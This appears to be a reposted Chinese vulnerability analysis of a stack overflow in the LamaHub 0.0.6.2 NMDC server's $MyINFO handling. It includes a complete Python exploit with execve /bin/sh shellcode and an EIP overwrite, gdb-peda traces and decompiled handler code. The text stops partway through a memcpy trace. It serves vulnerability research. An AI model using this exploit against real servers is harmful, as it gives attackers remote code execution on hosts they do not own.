LamaHub 0.0.62远程代码执行漏洞
source link: http://www.whereisk0shl.top/post/2018-09-16?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
LamaHub是NMDC协议的一个客户端,NMDC协议主要负责的是P2P客户端服务器交互的一种协议,在LamaHub服务器处理客户端请求的时候,通过构造特殊的NMDC协议数据包,可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出,从而远程执行任意代码,下面对此漏洞进行分析。
软件下载:
http://ovh.dl.sourceforge.net/sourceforge/lamahub/LamaHub-0.0.6.2.tar.gzPoC:
import socket HOST = 'localhost' PORT = 4111 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) buf = "" buf += "\x24\x53\x75\x70\x70\x6f\x72\x74\x73\x20\x55\x73" buf += "\x6c\x6c\x6f\x20\x49\x50\x32\x20\x65\x61\x72\x63" buf += "\x68\x20\x5a\x50\x65\x30\x20\x7c\x24\x4b\x65\x79" buf += "\x61\x7c\x24\x56\x61\x6c\x69\x64\x61\x74\x65\x4e" buf += "\x69\x63\x6b\x20\x50\x69\x65\x72\x72\x65\x7c\x24" buf += "\x56\x65\x6e\x20\x31\x2c\x30\x30\x39\x31\x7c\x24" buf += "\x47\x01\x00\x4e\x3b\x63\x6b\x4c\x69\x73\x74\x7c" buf += "\x24\x4d\x79\x49\x4e\x46\x4f\x20\x24\x41\x4c\x4c" buf += "\x20\x50\x69\x65\x72\x72\x65\x20\x4a\x65" #NEED padding of 96 shellcode = "\x90" *30 shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" shellcode += "\x90"*42 print "Shellcode len: " print len(shellcode) buf2 = "\x61\x3c" buf2 += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30" buf2 += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37" buf2 += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" eip_overwrite = "\x2a\x6a\x06\x08" #eip_overwrite = "AAAA" buf3 = "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf3 += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f" buf3 += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20\x7c" buf3 += "\x24\x4b\x65\x79\x61\x7c\x24\x56\x20\x41\x20\x30" buf3 += "\x61\x7c\x24\x56\x69\x63\x6b\x20\x50\x69\xca\xca" buf3 += "\x0a" # Send EVIL PACKET ! s.sendall(buf + shellcode + buf2 + eip_overwrite + buf3) s.close()
漏洞复现
首先部署LamaHub,用gdb attach,运行PoC,服务端崩溃,可以查看崩溃时的信息。
gdb-peda$ run Starting program: /root/Desktop/0.0.6.2/server > ERROR -> Plugin -> File plugins.conf dont found > init () -> OK > started on port -> 4111 > new client -> 127.0.0.1 -> 4 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x2c2c2c2c (',,,,') ECX: 0x0 EDX: 0x5 ESI: 0x2c2c2c2c (',,,,') EDI: 0x2c2c2c2c (',,,,') EBP: 0x2c2c2c2c (',,,,') ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001") EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8066a27 <buf+39>: push esi 0x8066a28 <buf+40>: popa 0x8066a29 <buf+41>: ins BYTE PTR es:[edi],dx => 0x8066a2a <buf+42>: imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65 0x8066a32 <buf+50>: imul esp,DWORD PTR [eax],0x50 0x8066a35 <buf+53>: imul esp,DWORD PTR [ebp+0x72],0x247c6572 0x8066a3c <buf+60>: push esi 0x8066a3d <buf+61>: outs dx,BYTE PTR gs:[esi] [------------------------------------stack-------------------------------------] 0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 0004| 0xbffff2c4 --> 0xb1b1b1b1 0008| 0xbffff2c8 --> 0xb1b1b1b1 0012| 0xbffff2cc --> 0xb1b1b1b1 0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277") 0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277") 0024| 0xbffff2d8 --> 0xcacaca24 0028| 0xbffff2dc --> 0x505a20ca [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x08066a2a in buf ()
可以看到,此时程序处于08066a2a地址位置,通过PoC,此时是处于返回地址eip部署的恶意地址,这个是PoC给出的,根据系统可以修改eip地址使其跳转到shellcode,通过bt查看一下堆栈回溯。
gdb-peda$ bt #0 0x08066a2a in buf () #1 0x080626d6 in buf () #2 0xb1b1b1b1 in ?? () #3 0xb1b1b1b1 in ?? () #4 0xb1b1b1b1 in ?? () #5 0x2c303737 in ?? () #6 0x4f464e49 in ?? () #7 0xcacaca24 in ?? () #8 0x505a20ca in ?? () #9 0x7c203065 in ?? () #10 0xbffff308 in ?? () Backtrace stopped: previous frame inner to this frame (corrupt stack?)
由于NMDC数据包构造的原因,后续堆栈已经被畸形payload覆盖,导致回溯失败,通过正向分析可以找到这个漏洞的成因。
漏洞分析
通过IDA pro分析可以找到两处recv,在LamaHub接收数据的时候势必会调用recv函数,在这两处recv下断点。
gdb-peda$ b *0x08052ef7 Breakpoint 1 at 0x8052ef7 gdb-peda$ r Starting program: /root/Desktop/0.0.6.2/server > init () -> OK > started on port -> 4111 > new client -> 127.0.0.1 -> 4 [----------------------------------registers-----------------------------------] EAX: 0x4 EBX: 0x806c610 --> 0x80670c0 (0x0806c610) ECX: 0x4 EDX: 0x10 ESI: 0x0 EDI: 0x0 EBP: 0xbffff438 --> 0x0 ESP: 0xbffff3f0 --> 0x4 EIP: 0x8052ef7 (<loop+231>: call 0x8049210 <recv@plt>) EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8052eea <loop+218>: push 0x8066a00 0x8052eef <loop+223>: push ecx 0x8052ef0 <loop+224>: mov BYTE PTR ds:0x8066a00,0x0 => 0x8052ef7 <loop+231>: call 0x8049210 <recv@plt> 0x8052efc <loop+236>: add esp,0x10 0x8052eff <loop+239>: test eax,eax 0x8052f01 <loop+241>: mov ds:0x8062b04,eax 0x8052f06 <loop+246>: je 0x8052f40 <loop+304> Guessed arguments: arg[0]: 0x4 arg[1]: 0x8066a00 --> 0x0 arg[2]: 0x3ff arg[3]: 0x0
发送payload后,程序命中了一处断点,之后单步步过。
gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x1b1 EBX: 0x806c610 --> 0x80670c0 (0x0806c610) ECX: 0xbffff3f0 --> 0x4 EDX: 0x806c610 --> 0x80670c0 (0x0806c610) ESI: 0x0 EDI: 0x0 EBP: 0xbffff438 --> 0x0 ESP: 0xbffff3f0 --> 0x4 EIP: 0x8052efc (<loop+236>: add esp,0x10) EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8052eef <loop+223>: push ecx 0x8052ef0 <loop+224>: mov BYTE PTR ds:0x8066a00,0x0 0x8052ef7 <loop+231>: call 0x8049210 <recv@plt> => 0x8052efc <loop+236>: add esp,0x10 0x8052eff <loop+239>: test eax,eax 0x8052f01 <loop+241>: mov ds:0x8062b04,eax 0x8052f06 <loop+246>: je 0x8052f40 <loop+304> 0x8052f08 <loop+248>: mov BYTE PTR [eax+0x8066a00],0x0 [------------------------------------stack-------------------------------------] 0000| 0xbffff3f0 --> 0x4 0004| 0xbffff3f4 --> 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001") 0008| 0xbffff3f8 --> 0x3ff 0012| 0xbffff3fc --> 0x0 0016| 0xbffff400 --> 0x0 0020| 0xbffff404 --> 0x0 0024| 0xbffff408 --> 0x3 0028| 0xbffff40c --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08052efc in loop ()
可以看到,此时堆0x08066a00位置接收了数据包并且进行了保存,查看一下这个堆中的内容。
gdb-peda$ x/100x 0x08066a00 0x8066a00 <buf>: 0x70755324 0x74726f70 0x73552073 0x206f6c6c 0x8066a10 <buf+16>: 0x20325049 0x63726165 0x505a2068 0x7c203065 0x8066a20 <buf+32>: 0x79654b24 0x56247c61 0x64696c61 0x4e657461 0x8066a30 <buf+48>: 0x206b6369 0x72656950 0x247c6572 0x206e6556 0x8066a40 <buf+64>: 0x30302c31 0x247c3139 0x4e000147 0x4c6b633b 0x8066a50 <buf+80>: 0x7c747369 0x49794d24 0x204f464e 0x4c4c4124 0x8066a60 <buf+96>: 0x65695020 0x20657272 0x9090654a 0x90909090 0x8066a70 <buf+112>: 0x90909090 0x90909090 0x90909090 0x90909090 0x8066a80 <buf+128>: 0x90909090 0x90909090 0x6850c031 0x68732f2f 0x8066a90 <buf+144>: 0x69622f68 0x31e3896e 0x6aca89c9 0x80cd580b 0x8066aa0 <buf+160>: 0x90909090 0x90909090 0x90909090 0x90909090 0x8066ab0 <buf+176>: 0x90909090 0x90909090 0x90909090 0x90909090 0x8066ac0 <buf+192>: 0x90909090 0x90909090 0x3c619090 0x794d243c 0x8066ad0 <buf+208>: 0x24350080 0x30246970 0x37373724 0x37373737 0x8066ae0 <buf+224>: 0x37373737 0xb1b1b137 0xb1b1b1b1 0xb1b1b1b1 0x8066af0 <buf+240>: 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1 0x8066b00 <buf+256>: 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1 0xb1b1b1b1 0x8066b10 <buf+272>: 0xb1b1b1b1 0x2c2c2cb1 0x2c2c2c2c 0x2c2c2c2c 0x8066b20 <buf+288>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x8066b30 <buf+304>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x8066b40 <buf+320>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x8066b50 <buf+336>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x8066b60 <buf+352>: 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x2c2c2c2c 0x8066b70 <buf+368>: 0x08066a2a 0x080626d6 0xb1b1b1b1 0xb1b1b1b1 0x8066b80 <buf+384>: 0xb1b1b1b1 0x2c303737 0x4f464e49 0xcacaca24 0x8066b90 <buf+400>: 0x505a20ca 0x7c203065 0x79654b24 0x56247c61 0x8066ba0 <buf+416>: 0x30204120 0x56247c61 0x206b6369 0xcaca6950
畸形数据已经全被被接收了,接下来单步跟踪。在接收到数据之后,会到达一处调用parse_token,这个主要是负责验证逻辑。
gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x1b1 EBX: 0x806c610 --> 0x80670c0 (0x0806c610) ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610) EDX: 0x806c610 --> 0x80670c0 (0x0806c610) ESI: 0x0 EDI: 0x0 EBP: 0xbffff438 --> 0x0 ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610) EIP: 0x8052e82 (<loop+114>: call 0x8050cf0 <parse_token>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8052e7b <loop+107>: push eax 0x8052e7c <loop+108>: push 0x8066a00 0x8052e81 <loop+113>: push ebx => 0x8052e82 <loop+114>: call 0x8050cf0 <parse_token> 0x8052e87 <loop+119>: add esp,0x10 0x8052e8a <loop+122>: cmp eax,0xffffffff 0x8052e8d <loop+125>: je 0x8052f4c <loop+316> 0x8052e93 <loop+131>: sub esp,0xc Guessed arguments: arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610) arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001") arg[2]: 0x1b1
可以看到这处验证逻辑第二个参数就是畸形payload,接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。
int __cdecl parse_token(void *a1, char *src, size_t a3) { signed __int32 v3; // edx@1 int result; // eax@2 char *v5; // ebp@3 signed int v6; // ebx@3 signed __int32 v7; // ecx@7 char *v8; // edi@15 char *v9; // esi@15 signed int v10; // ecx@17 signed __int32 v11; // ST2C_4@19 signed int v12; // [sp+Ch] [bp-30h]@3 unsigned int n; // [sp+10h] [bp-2Ch]@14 v3 = a3; if ( *src == 60 ) return proto_state_handler(a1, src, a3); result = 1; if ( (signed int)a3 > 0 ) { v5 = src; result = 1; v6 = 0; v12 = -1; while ( 1 ) { if ( *v5 != 36 || v12 >= v6 ) goto LABEL_12; if ( v3 < v6 ) break; v7 = v6; do ++v7; while ( src[v7] != 124 && v7 <= v3 ); if ( v7 - v6 == -1 ) return 0; if ( v7 - v6 + 1 <= 1023 ) { n = v7 - v6 + 1; v12 = v7; goto LABEL_15; } LABEL_12: ++v6; ++v5; if ( v6 == v3 ) return result; } v12 = v6; n = 1; LABEL_15: v8 = &token_buf; v9 = v5; if ( n >= 4 ) { qmemcpy(&token_buf, v5, 4 * (n >> 2)); v9 = &v5[4 * (n >> 2)]; v8 = &token_buf + 4 * (n >> 2); } v10 = 0; if ( n & 2 ) { *(_WORD *)v8 = *(_WORD *)v9; v10 = 2; if ( !(n & 1) ) { LABEL_19: v11 = v3; *(&token_buf + n) = 0; result = proto_state_handler(a1, &token_buf, n); v3 = v11; if ( result == -1 ) return -1; goto LABEL_12; } } else if ( !(n & 1) ) { goto LABEL_19; } v8[v10] = v9[v10]; goto LABEL_19; } return result; }
在LABEL_19块中,调用了一个函数proto_state_handler,主要是负责处理协议句柄的,其中涉及到一个token_buf,单步跟踪观察这个proto_state_handler函数调用的传参情况。
[----------------------------------registers-----------------------------------] EAX: 0x20 (' ') EBX: 0x0 ECX: 0x0 EDX: 0x1b1 ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001") EDI: 0x8062720 --> 0x0 EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001") ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610) EIP: 0x8050ddb (<parse_token+235>: call 0x80551b0 <proto_state_handler>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8050dcb <parse_token+219>: push 0x8062700 0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24] 0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0 => 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler> 0x8050de0 <parse_token+240>: add esp,0x10 0x8050de3 <parse_token+243>: cmp eax,0xffffffff 0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c] 0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136> No argument [------------------------------------stack-------------------------------------] 0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610) 0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |") 0008| 0xbffff3a8 --> 0x20 (' ') 0012| 0xbffff3ac --> 0x0 0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 0024| 0xbffff3b8 --> 0x79 ('y') 0028| 0xbffff3bc --> 0x1f
这个token_buf的内容是$Supports,其实这个主要是NDMC的协议处理,而在parse_token的开始部分,会先处理这个数据包,将数据包内容拆分。接下来直接执行,会第二次到达断点。
[-------------------------------------code-------------------------------------] 0x8050dcb <parse_token+219>: push 0x8062700 0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24] 0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0 => 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler> 0x8050de0 <parse_token+240>: add esp,0x10 0x8050de3 <parse_token+243>: cmp eax,0xffffffff 0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c] 0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136> No argument [------------------------------------stack-------------------------------------] 0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610) 0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")
继续执行,第三次命中
[-------------------------------------code-------------------------------------] 0x8050dcb <parse_token+219>: push 0x8062700 0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24] 0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0 => 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler> 0x8050de0 <parse_token+240>: add esp,0x10 0x8050de3 <parse_token+243>: cmp eax,0xffffffff 0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c] 0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136> No argument [------------------------------------stack-------------------------------------] 0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610) 0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|") 0008| 0xbffff3a8 --> 0x15 0012| 0xbffff3ac --> 0x0 0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 0024| 0xbffff3b8 --> 0x79 ('y') 0028| 0xbffff3bc --> 0x3a (':')
可以看到每次都获取到|分割线后的内容,接下来直接执行到包含畸形字符串的部分。
[-------------------------------------code-------------------------------------] 0x8050dcb <parse_token+219>: push 0x8062700 0x8050dd0 <parse_token+224>: push DWORD PTR [esp+0x24] 0x8050dd4 <parse_token+228>: mov BYTE PTR [eax+0x8062700],0x0 => 0x8050ddb <parse_token+235>: call 0x80551b0 <proto_state_handler> 0x8050de0 <parse_token+240>: add esp,0x10 0x8050de3 <parse_token+243>: cmp eax,0xffffffff 0x8050de6 <parse_token+246>: mov edx,DWORD PTR [esp+0x1c] 0x8050dea <parse_token+250>: jne 0x8050d78 <parse_token+136> No argument [------------------------------------stack-------------------------------------] 0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610) 0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") 0008| 0xbffff3a8 --> 0x144 0012| 0xbffff3ac --> 0x0 0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 0024| 0xbffff3b8 --> 0x79 ('y') 0028| 0xbffff3bc --> 0x197 [------------------------------------------------------------------------------]
第二个参数作为畸形字符串传入,其中涉及到指令$MyINFO,就从这里跟入看看函数内部到底发生了什么。
int proto_state_handler (user_t *u, char *data, unsigned int len) { switch (u->state) { case PROTO_STATE_INIT: // new user connected return proto_nmdc_state_init (u); case PROTO_STATE_SENDLOCK: // waiting for user $Key return proto_nmdc_state_sendlock (u, data, len); case PROTO_STATE_WAITNICK: // waiting for user $ValidateNick return proto_nmdc_state_waitnick (u, data, len); case PROTO_STATE_WAITPASS: // waiting for user $GetPass return proto_nmdc_state_waitpass (u, data, len); case PROTO_STATE_HELLO: // waiting for user $MyINFO return proto_nmdc_state_hello (u, data, len); case PROTO_STATE_ONLINE: // user is avaible now return proto_nmdc_state_online (u, data, len); case PROTO_STATE_DISCONNECTED: // user gone out $Quit return proto_nmdc_state_disconnect (u); }
进入后会到达一处switch逻辑,这个switch会根据user_t的类型进行判断,根据情况进行处理,在$MyINFO会进入proto_nmdc_state_hello函数。
gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x4 EBX: 0x806c610 --> 0x80670c0 (0x0806c610) ECX: 0x0 EDX: 0x1b1 ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi\312\312\n") EDI: 0x8062844 --> 0x0 EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610) EIP: 0x805534a (<proto_state_handler+410>: call 0x80539e0 <proto_nmdc_state_hello>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x805533b <proto_state_handler+395>: push DWORD PTR [esp+0xdc] 0x8055342 <proto_state_handler+402>: push DWORD PTR [esp+0xdc] 0x8055349 <proto_state_handler+409>: push ebx => 0x805534a <proto_state_handler+410>: call 0x80539e0 <proto_nmdc_state_hello> 0x805534f <proto_state_handler+415>: add esp,0x10 0x8055352 <proto_state_handler+418>: add esp,0xc0 0x8055358 <proto_state_handler+424>: pop ebx 0x8055359 <proto_state_handler+425>: pop esi Guessed arguments: arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610) arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") arg[2]: 0x144 [------------------------------------stack-------------------------------------] 0000| 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610) 0004| 0xbffff2c4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") 0008| 0xbffff2c8 --> 0x144 0012| 0xbffff2cc --> 0x80553a1 (<proto_state_handler+497>: jmp 0x80551fa <proto_state_handler+74>) 0016| 0xbffff2d0 --> 0x1
进入之后会根据$MyINFO内部的内容进行一些处理。比如
gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x13 EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") ECX: 0x7 EDX: 0x6 ESI: 0x8062702 ("yINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") EDI: 0x805ac4b ("$MyINFO") EBP: 0x0 ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 EIP: 0x8053a3d (<proto_nmdc_state_hello+93>: mov esi,ebx) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8053a2d <proto_nmdc_state_hello+77>: jbe 0x8053d20 <proto_nmdc_state_hello+832> 0x8053a33 <proto_nmdc_state_hello+83>: mov ecx,0x7 0x8053a38 <proto_nmdc_state_hello+88>: mov edi,0x805ac4b => 0x8053a3d <proto_nmdc_state_hello+93>: mov esi,ebx 0x8053a3f <proto_nmdc_state_hello+95>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi] 0x8053a41 <proto_nmdc_state_hello+97>: seta cl 0x8053a44 <proto_nmdc_state_hello+100>: setb al 0x8053a47 <proto_nmdc_state_hello+103>: sub ecx,eax [------------------------------------stack-------------------------------------] 0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|") 0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>: add ebx,0x162de5) 0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|") 0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610) 0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>: mov edx,DWORD PTR [esp+0x34]) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08053a3d in proto_nmdc_state_hello () gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x13 EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") ECX: 0x7 EDX: 0x6 ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") EDI: 0x805ac4b ("$MyINFO") EBP: 0x0 ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 EIP: 0x8053a3f (<proto_nmdc_state_hello+95>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8053a33 <proto_nmdc_state_hello+83>: mov ecx,0x7 0x8053a38 <proto_nmdc_state_hello+88>: mov edi,0x805ac4b 0x8053a3d <proto_nmdc_state_hello+93>: mov esi,ebx => 0x8053a3f <proto_nmdc_state_hello+95>: repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi] 0x8053a41 <proto_nmdc_state_hello+97>: seta cl 0x8053a44 <proto_nmdc_state_hello+100>: setb al 0x8053a47 <proto_nmdc_state_hello+103>: sub ecx,eax 0x8053a49 <proto_nmdc_state_hello+105>: movsx ebp,cl [------------------------------------stack-------------------------------------] 0000| 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 0004| 0xbfffefc4 --> 0xbffff230 ("$Hello Pierre|") 0008| 0xbfffefc8 --> 0xb7e1c21b (<_IO_vfprintf_internal+11>: add ebx,0x162de5) 0012| 0xbfffefcc --> 0xb7f7f000 --> 0x1a5da8 0016| 0xbfffefd0 --> 0xbffff000 --> 0xfbad8001 0020| 0xbfffefd4 --> 0xbffff230 ("$Hello Pierre|") 0024| 0xbfffefd8 --> 0x806c610 --> 0x80670c0 (0x0806c610) 0028| 0xbfffefdc --> 0xb7e3e702 (<__IO_vsprintf+146>: mov edx,DWORD PTR [esp+0x34]) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08053a3f in proto_nmdc_state_hello ()
这里会对$MyINFO中的$Hello Pierre后的指令进行处理,在后面会对这个内容进行拷贝
gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0x806c320 --> 0x80670c0 (0x0806c320) EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") ECX: 0xb7e65000 (<__strncpy_sse2+3504>: mov DWORD PTR [edi],edx) EDX: 0x144 ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6") EDI: 0x1 EBP: 0x0 ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6") EIP: 0x8053f77 (<proto_nmdc_state_hello+1431>: call 0x8048df0 <memcpy@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8053f6e <proto_nmdc_state_hello+1422>: push DWORD PTR [esp+0x30c] 0x8053f75 <proto_nmdc_state_hello+1429>: push ebx 0x8053f76 <proto_nmdc_state_hello+1430>: push esi => 0x8053f77 <proto_nmdc_state_hello+1431>: call 0x8048df0 <memcpy@plt> 0x8053f7c <proto_nmdc_state_hello+1436>: add esp,0xc 0x8053f7f <proto_nmdc_state_hello+1439>: push 0x0 0x8053f81 <proto_nmdc_state_hello+1441>: push 0x8 0x8053f83 <proto_nmdc_state_hello+1443>: push DWORD PTR [esp+0x30c] Guessed arguments: arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6") arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, 